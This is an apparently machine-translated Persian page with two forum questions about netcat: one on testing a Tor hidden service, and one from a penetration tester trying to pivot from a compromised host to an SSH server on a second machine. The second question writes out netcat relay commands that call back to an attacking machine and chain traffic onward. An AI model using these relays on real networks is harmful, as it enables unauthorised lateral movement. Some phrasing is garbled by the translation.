Netcat پاسخی بیش از این را دریافت نمی کند

من سرویس Tor Hidden را برای پورت کردن از پورت 5400 به 127.0.0.1:1234 پیکربندی کردم. سپس من تور را بازسازی کردم و نام میزبان را دریافت کردم. اکنون من nc -l 1234 را اجرا میکنم و از وبسایت بازدید میکنم و یک درخواست GET دریافت میکنم. حالا میخواهم اطلاعات دیگر را ارسال کنم تا بر روی رایانه دیگری که اجرا میکنم echo test | nc -w 2 -z را بررسی کنید -z MY_hidden_service_address port . هنگامی که من آن را اجرا می کنم، سرور من فقط ترک کرده و تست را چاپ نمی کند. اما اگر آن را ترک کرد، به این معنی است که پاسخی دریافت می کند، درست است؟

آزمون نفوذ – استفاده از Netcat به Pivot

بنابراین من یک پوسته را به دستگاه A که اس اس را نصب نکرده است و نمی توانم پوسته تتی را دریافت کنم (من تمام ورق های تقلب را امتحان کردم، من فکر می کنم این عمدا است)

Through دستگاه AI میتواند دستگاه B را که دارای یک سرور ssh در حال اجرا در پورت 2222 است را ببیند.

آنچه که من می خواهم انجام دهم این است که چطور از netcat برای اتصال به ssh به صورت دستی استفاده کنم یا از netcat برای رفتن از ماشین حمله به ماشین استفاده کنم من به ماشین B.

ابتدا سعی کردم nc -lvp 444 -c 'nc machine.b 2222' اما من نمی توانم به دستگاه A متصل شود، من حدس می زنم قوانین فایروال.

بعدا سعی کردم اتصال مجدد به دستگاه حمله من nc attacking.machine 444 -c 'nc machine.b 2222' که کار می کند اما متوجه شدم که وقتی به ماشین حمله من فرستاده می شود، می توانم دسترسی به پورت برای اتصال به آن با ssh.

این طراحی شبکه است … من فکر می کنم

 اینجا را وارد کنید تصویر